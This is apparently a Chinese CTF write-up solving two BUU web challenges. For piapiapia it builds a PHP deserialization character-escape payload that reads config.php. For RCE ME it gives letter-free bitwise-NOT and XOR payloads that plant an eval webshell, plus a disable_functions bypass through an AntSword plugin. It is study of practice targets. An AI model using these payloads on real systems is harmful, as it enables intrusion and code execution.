一周CTF(三)
ababababababababababababababa
BUU
[0CTF 2016]piapiapia
首先用dirsearch扫下目录,不过buu的题目一扫就是429,所以直接查wp找到泄露的文件。
如果要自己扫的话,可以调低线程,同时设置扫描的延时:
python dirsearch.py -u http://403a7d8f-39ff-43e0-9fab-38981c17289f.node4.buuoj.cn:81/ -e php,htm,js,bak,zip,tgz,txt -s 1 -t 5 -i 200
找到泄露的源码www.zip

审计源码,在config.php处有$flag,不过已经删除了。profile.php中有unserialize和file_get_contents,一看就是关键点。

目的是通过file_get_contents去读config.php获得flag,file_get_contents所读取的文件名的获取方式:$profile['photo']<-unserialize($profile)<-$user->show_profile($username) // 查询表<-$user->update_profile($username, serialize($profile)) // 更新表
$profile的获取方式

$user->update_profile对插入数据的检查方式:


文件名会被md5不可控,但是nickname没有太多的限制。关键点:对输入的check在其序列化之后,且方式为字符替换。这就是之前的反序列化字符逃逸。
where被替换为hacker字符串长度变长,所以可以在nickname中构造photo属性,再把其“挤”出来。对于strlen($_POST['nickname']) > 10长度限制,可以通过数组绕过,不过这样$profile['nickname']会变成一个数组。
<?php
$nick[] = 'skye';
$profile['nickname'] = $nick;
$profile['photo'] = '';
$s = serialize($profile);
echo $s."\n"; # a:2:{s:8:"nickname";a:1:{i:0;s:4:"skye";}s:5:"photo";s:0:"";}
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$s = preg_replace($safe, 'hacker', $s);
$a = unserialize($s);
print_r($a);
//Array
//(
// [nickname] => Array
// (
// [0] =>
// )
//
// [photo] =>
//)
为了闭合nickname的数组类型,构造所要逃逸的字符串:";}s:5:"photo";s:10:"config.php";},其长度为34,所以前面要加上34个where。
<?php
$nick[] = 'where...where";}s:5:"photo";s:10:"config.php";}'; # 34个where
$profile['nickname'] = $nick;
$profile['photo'] = '';
$s = serialize($profile);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$s = preg_replace($safe, 'hacker', $s);
$a = unserialize($s);
print_r($a);

抓包修改

在profile.php得到base64后的config.php,get flag。
[极客大挑战 2019]RCE ME
关键词:无数字字母RCE。参考链接:无数字字母rce总结
虽然这道题有一个长度的限制,但也差不多。
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
rce的构造有两种,一个取反、一个异或。先说取反,本质上都是用PHP可变函数的特性。
取反
$a = urlencode(~('eval($_POST[sky])'));
$b = urlencode(~('assert'));
echo $a."\n";
echo $b;
// payload: ?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%94%86%A2%D6);
异或:
valid = "!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = 'phpinfo'
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if (ord(i) ^ ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print("tmp1为:", tmp1)
print("tmp2为:", tmp2)
# payload: ?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
虽然不是很难,但还是有几个点想了很久。首先是取反的构造,这里我可以理解它最后是在eval中执行的是('assert')('eval($_POST[sky])');这样一个字符串,但没太理解第一个assert的括号是什么作用,为什么~%9E%8C%8C%9A%8D%8B(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%94%86%A2%D6);这样的payload是无效的。还有,再次提醒,eval不是函数,所以这里不能作为可变函数调用。
在异或的构造方式中学到了,${}是一个变量解析的语法,用于创建动态变量名。这个语法的一般形式是${expression},其中expression是返回字符串的任何合法 PHP 表达式。一个简单的例子:
$a = 'phpinfo';
${'a'}();
所以payload中的意思是:$_GET[_]($_GET[___)
回到题目,拿到shell之后,由于disable_functions的限制不能直接读到flag,要用到的方法是LD_preload,这个之后详细了解一下,就先记下用蚁剑的解法。
右键shell,在插件市场中下载绕过disable_functions插件

加载插件

选择PHP7_GC_UAF

点击开始之后,执行/readflag

总结
回家真好~
